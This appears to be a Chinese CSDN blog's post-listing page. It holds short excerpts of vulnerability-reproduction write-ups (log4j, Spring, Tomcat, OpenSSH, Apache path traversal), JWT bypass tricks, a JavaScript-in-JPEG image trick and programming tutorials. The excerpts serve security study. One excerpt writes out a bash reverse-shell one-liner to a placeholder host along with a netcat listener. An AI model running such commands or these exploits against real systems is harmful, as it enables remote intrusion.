自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(60)
  • 收藏
  • 关注

原创 三、GCC编译:链接

main.cfunc.c静态链接编译在func.ELF-main.o和func.ELF-func.o这两个目标文件链接为一个可执行文件时,最简单的方法是按序叠加,即拼在一起(左图),但这种方法如果链接的目标文件过多,那么输出的可执行文件会十分零散。同时段的装载地址和空间以页为单位对齐,不足一页的代码节或数据节也要占用一页,造成内存空间的浪费。现在的链接器采用的是相似节合并的方法,首先对每个节的长度、属性和偏移进行分析,然后将两个文件中的相同节进行合并,然后将符合表合并,引用生成统一的全局符号表,最

2024-01-12 17:18:23 795

原创 CVE-2023-51385 OpenSSH ProxyCommand命令注入漏洞

ssh_config文件中的ProxyCommand、LocalCommand指令或"match exec"谓词通过%u、%h或类似的扩展标记引用用户或主机名时,可能会导致命令注入的风险。在Git中,用户或主机名中的shell元字符未被禁止(如在主机名中进行命令拼接),这可能导致存储库包含一个带有shell元字符的子模块用户或主机名。这种情况可能引发命令注入漏洞。

2024-01-09 17:06:38 1695 2

原创 二、ELF文件结构

编译和。

2024-01-09 10:56:08 988

原创 一、GCC编译过程

编译过程可大致分为以下五个步骤(1):将源文件流拆分为以Token表示的字符表,给语法分析程序使用(2):根据各个词法单元的第一个分量构造语法树(3):根据符号表和语法树检测源程序(4):根据语义分析输出,生成机器语言的中间表示,如三地址码(5):把中间表示形式映射到目标机器语言。

2024-01-08 17:29:53 440

原创 CVE-2017-12794_Django debug page XSS漏洞

3、向数据库中插入相同数据,Django报错,数据被打印且执行。对打印的exception进行了HTML转义。2、首次向数据库中插入数据,成功插入。1、vulhub搭建环境。

2023-12-28 09:52:18 595

原创 JPEG文件内嵌HTML代码(JavaScript型图片马)

对未校验后缀名的图片上传接口打击较大,优势在于比未做伪装的html恶意代码更易隐藏,因为标签指向它的时候会正常显示图片。0x0166:注释后紧跟的16进制数值,被选中部分长度为358字节,换算为16进制为166;0xFFFE:jpeg文件注释开始标志;0xFFD8:jpeg文件开始标志;0xFFE0:标志图片内容开始。(图为winhex)

2023-12-21 16:54:56 414

原创 JSON Web Token JWT几种简单的绕过方法

这个部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密方式进行加盐secret组合加密,然后就构成了jwt的第三部分。如图所示JWT由三部分构成,分别是header,payload和signature,在这三者之间由"."连接。在payload中,iot代表JWT生成时间,exp代表JWT失效时间,延长exp时间也可进行绕过。如图为JWT加密后的示例,JWT再由后端返回至前端后,由前端封装到HTTP Header中。

2023-12-21 15:15:40 701

原创 <a>标签target=“_blank“ 焦点窃取漏洞

1、标签中使用target="_blank"时,代表打开一个新的页面,此时新开的页面与旧页面存在从属关系,新页面可以使用window.opener操作旧页面,造成漏洞;2、目前高级浏览器已修复该漏洞,以下实现均在IE模式下;

2023-12-21 14:45:19 430

原创 使用Mosquitto/python3进行MQTT连接

MQTT(消息队列遥测传输)是ISO 标准(ISO/IEC PRF 20922)下基于发布/订阅范式的消息协议。它工作在 TCP/IP协议族上,是为硬件性能低下的远程设备以及网络状况糟糕的情况下而设计的发布/订阅型消息协议,为此,它需要一个消息中间件。MQTT传输的消息分为主题Topic和负载payload,当订阅指定的Topic后,就会收到该Topic下的消息内容payload。

2023-12-21 14:37:48 472

原创 CVE-2023-46604 Apache ActiveMQ RCE漏洞

Apache ActiveMQ是一个开源的、功能强大的消息代理(Message Broker),由 Apache Software Foundation 所提供。ActiveMQ 支持 Java Message Service(JMS)1.1 和 2.0规范,提供了一个高性能、简单、灵活和支持多种语言(Java, C, C++, Ruby, Python, Perl等)的消息队列系统。

2023-12-21 13:56:49 2470

原创 CVE-2023-37582 Apache RocketMQ NameServer远程代码执行漏洞

我感觉就是一个任意文件写入,毕竟利用需要受害者去执行,所以CVE漏洞报告原文中也用的是"possible when using update"这种含糊不清的字眼。与CVE-2023-33246的修复相比,增加了configStorePath黑名单关键字。python3脚本执行。

2023-12-21 11:23:23 464

原创 CVE-2023-33246 RocketMQ RCE漏洞

RocketMQ是一款纯java、分布式、队列模型的开源消息中间件,主要用于在分布式系统中进行异步消息传递,支持事务消息、顺序消息、批量消息、定时消息、消息回溯等功能。RocketMQ有四个核心组成部分:NameServer:RocketMQ的服务注册中心,用于保存Broker相关元信息;Broker:消息存储中心,接收并存储Producer的消息,Consumer从此处获得信息,Master节点可写可读,Slave节点不可写只可读;Producer:消息生产者;

2023-12-21 11:09:30 669

原创 CVE-2022-34625 mealie jinja2 SSTI注入

mealie支持jinja2,jinja2是个广泛使用的典型的MVC框架,并且有着最经典的SSTI注入漏洞,即在html页面中的{{变量}}如果是指向python类中的函数则会进行执行,故本案方法为写一个带有SSTI的html打到网站架构下的Templates下,并且使用mealie所提供的系统API进行调用,即可完成攻击。此处使用了slugify函数对name进行了处理,slugify函数主要作用为对敏感字符的过滤,但是没有对extension进行处理,因此直接对上传路径进行绕过。

2023-12-21 10:52:27 331

原创 CVE-2022-25845 fastjson java反序列化漏洞

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上可以说是标准的数据交换格式。fastjson 是一个java语言编写的高性能且功能完善的JSON库,它采用一种“假定有序快速匹配”的算法,把JSON Parse 的性能提升到了极致。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。

2023-12-21 10:40:07 819

原创 CVE-2022-22978 Spring Security越权访问漏洞

Spring Security是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架。Spring Security底层实现为一条过滤器链,就是用户请求进来,判断有没有请求的权限,抛出异常,重定向跳转。

2023-12-20 18:34:57 523

原创 CVE-2022-22965 Spring Framework远程命令执行

CVE-2022-22965 Spring Framework RCE

2023-10-26 16:11:39 224

原创 CVE-2022-22963 Spring Cloud Function SpEL命令注入

Spring Cloud Function 是基于 Spring Boot的函数计算框架。该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件。在Spring Cloud Function相关版本,存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL表达式,最终执行任意命令,获取服务器权限。

2023-10-26 15:56:55 163

原创 CVE-2022-22947 Spring Cloud Gateway远程代码执行

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。当启用和暴露 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

2023-10-26 15:47:00 190

原创 CVE-2021-44228 Apache log4j 远程命令执行漏洞

log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,从而达到我们应用的需求;由于log4j提供了lookup机制,使日志中的${}也可进行执行,在其中输入JNDI的payload,即可进行执行。此处必须复制无版本号的rmi,否则不会成功,理由未知。使用开源的dnslog:ceye.io。

2023-10-26 15:31:58 996

原创 CVE-2021-41773/42013 apache路径穿越漏洞

如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在…3、开启42013的靶场,将%2e修改成%%32%65(2的ascii是32,e的ascii是65)

2023-10-26 15:18:11 636

原创 CVE-2021-21234 spring-boot-actuator-logview目录遍历漏洞

源码中对filename进行了校验但并未对路径进行校验。送入repeater打入payload,复现成功。首先开vulhub的镜像。点击下载,原数据包如下。

2023-10-26 15:09:58 382

原创 CVE-2020-36189 jackson-databind java反序列化漏洞

该方法允许json字符串中指定反序列化java对象的类名,而在使用Object、Map、List等对象时,可诱发反序列化漏洞,导致可执行任意命令。com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中实现了url的输入和调用,通过可控的url进行payload的打入,即可依靠ObjectMapper的反序列化漏洞实现SSRF和RCE。,}]的形式,将对象的参数的类名打印,是json中的类名。

2023-10-13 15:34:30 1941

原创 CVE-2020-9483 apache skywalking SQL注入漏洞

当使用H2 / MySQL / TiDB作为Apache SkyWalking存储时,通过GraphQL协议查询元数据时,存在SQL注入漏洞,该漏洞允许访问未指定的数据。Apache SkyWalking 6.0.0到6.6.0、7.0.0 H2 / MySQL / TiDB存储实现不使用适当的方法来设置SQL参数。

2023-10-13 15:02:19 1181

原创 CVE-2020-1938 Tomcat远程文件包含漏洞

CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

2023-10-13 14:50:26 400

原创 CVE-2017-15715 apache换行解析&文件上传漏洞

CVE-2017-15715 漏洞复现详情

2023-10-13 14:44:00 508

原创 CVE-2017-12615 Tomcat远程命令执行漏洞

2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615) 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

2023-10-13 14:31:54 384

原创 CVE-2017-7529 Nginx越界读取内存漏洞

CVE-2017-7529漏洞复现

2023-10-13 14:15:31 460

原创 使用OpenSSL的反弹shell

使用openssl进行反弹shell的过程

2023-10-12 17:01:44 453

原创 python re正则常用函数和模式pattern的书写规则与限制方法 看完百分之百学会python正则

python re超详细的教学,简单易懂,示例清晰

2022-12-08 00:41:26 810 1

原创 python dict字典的增删改查,清空,提取key和value

python中Dict的基本操作方法

2022-12-07 00:51:10 2223

原创 DVWA 反射型XSS XSS(Reflected)题解

DVWA靶场对反射型XSS的题解,较为详细且扩展性强

2022-08-04 17:15:51 378

原创 本地CentOS 7 + CloudStack 4.13 + KVM零踩坑搭建教学

首先感谢下面这位仁兄的教程,写的非常详细:《CloudStack+KVM 虚拟机部署测试详细流程》但是我在实际搭建过程中遇见了一些问题,这就是我写下这篇文章的原因。以下措施是对上文的补充,本人亲自验证过的,应该是没啥问题了,如果还有报错,那我也不会了(1 CentOS的安装在设置界面一定要把VT点上,不然会后面创建主机会报错。即unable to add the host.然后先不要开启虚拟机,需要再申请一块磁盘,为后面的NFS做铺垫。这样安装时磁盘选择是这张图,而不是原文里的那张。在

2021-03-29 18:49:59 562

原创 python3 获取本机公网ip及私网ip

获取本机公网ip这个只能靠连到外面的查ip网站,然后让那个网站把结果返还回来。import requestsimport rer = requests.get("http://txt.go.sohu.com/ip/soip")ip = re.findall(r'\d+.\d+.\d+.\d+',r.text)print(ip[0])获取本机私网ip这个网上搜了一大堆都是用先获取本机名称,再通过本机名称倒推获取ip。import socket# 获取本机电脑名myname =

2021-01-25 16:54:36 1353

原创 模拟渗透测试——使用metasploit与wget获取靶机shell

前言近日在复现漏洞时,由于目标所提供的服务中的某段代码没有对权限进行检查,导致了远程命令执行——RCE漏洞。由于该漏洞本身的特性,所能执行的命令是需要通过url进行拼接且每次只可执行一句,因此尝试获取靶机shell来做到更多的事。但在尝试的过程中发现目标对于防渗透措施做的相当不错,删除或者禁用了很多命令,上篇文章(《反弹shell常用命令》)所提到的所有方式都没有尝试成功。但天无绝人之路,busybox中wget的身影吸引了我的注意。环境准备靶机:ubuntu 192.168.116.128攻击

2021-01-19 14:54:53 1149

原创 反弹shell常用命令

反弹shell常用命令1 attacker端的监听——netcat(1) windows环境下下载netcat下载地址将如图的nc.exe所在文件夹添加到环境变量(2) linux环境下下载netcatyum install netcat(3) 安装结束使用如下命令判断是否安装成功nc -h使用如下命令开始监听nc -lvvp port2 靶机命令(1) bashbash一句话为:bash -i >& /dev/tcp/ip/port 0>&a

2021-01-15 17:04:11 8388

原创 python 使用threading模块解决多线程问题

什么是线程线程是操作系统能够进行运算调度的最小单位。进程被包含在进程中,是进程中实际处理单位。一条线程就是一堆指令集合。一条线程是指进程中一个单一顺序的控制流,一个进程中可以并发多个线程,每条线程并行执行不同的任务。在python中实现多线程下面来看一下在python中最简单的一个多线程模型:import threadingimport timedef mission1(num): for i in range(0, num): print("mission1...

2020-07-30 13:34:42 743

原创 使用C语言你必须知道的常见的字符串错误

参考自《C和C++安全编码》。实验环境:win10 & visual studio 2019越界举一个非常简单的例子。void get_name(){ char name[8]; puts("Your name?"); gets(name); return;}因为gets()函数的原因,无法对用户的输入长度进行控制。char *gets(char *dest)...

2020-04-01 16:49:44 4142 1

原创 回溯法:批处理作业调度

很久以前,在一家工厂里有两个机器。假设机器1用来处理数据,机器2用来输出。所有的作业都是必须要先经过机器1,再经过机器2.这个工厂今天接到了3批作业。t机器1机器2作业121作业231作业323假设今天只有作业1,那么在t=0时,机器1开始运作,到t=2时,再将作业丢进机器2,到t=3时,作业结束,此时作业1的完成时间是t=3.现在,我们...

2020-03-04 19:29:01 1533

原创 回溯法:最优装载问题

大家好,我是连人。本期讲述回溯法中的最优装载问题。以简单的语言说,就是给定两艘船,要求一批货物分别装入。这道问题采用“先尽可能以最大载重装一艘船,再以剩下的货物装另一艘”。这样,我们就将问题简化为了0-1背包问题。采用回溯法构建解空间,之后遍历即可。思路很简单,代码的注释我也写的很详细了。def traceback(depth): global n, goods, ship, be...

2020-03-01 18:21:36 2315 2

原创 贪心算法:最小生成树 Prim算法&Kruskal算法

Prim:以某个点开始,将最近的相邻点扩充为自己新的集合,再以这个新的集合拉取新的最近点,直到所有点被拉入这个集合,这个集合就是最小生成树。Kruskal:“填边”的思想,将边的数据由小到大排序,若新填入的边没有形成环,则这条边就是最小生成树的一部分。判断是否形成环使用并查集的方法。void Prim(int g[7][7]){ int included[7] = {0,1,0,0,0...

2020-02-18 16:17:20 1089

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除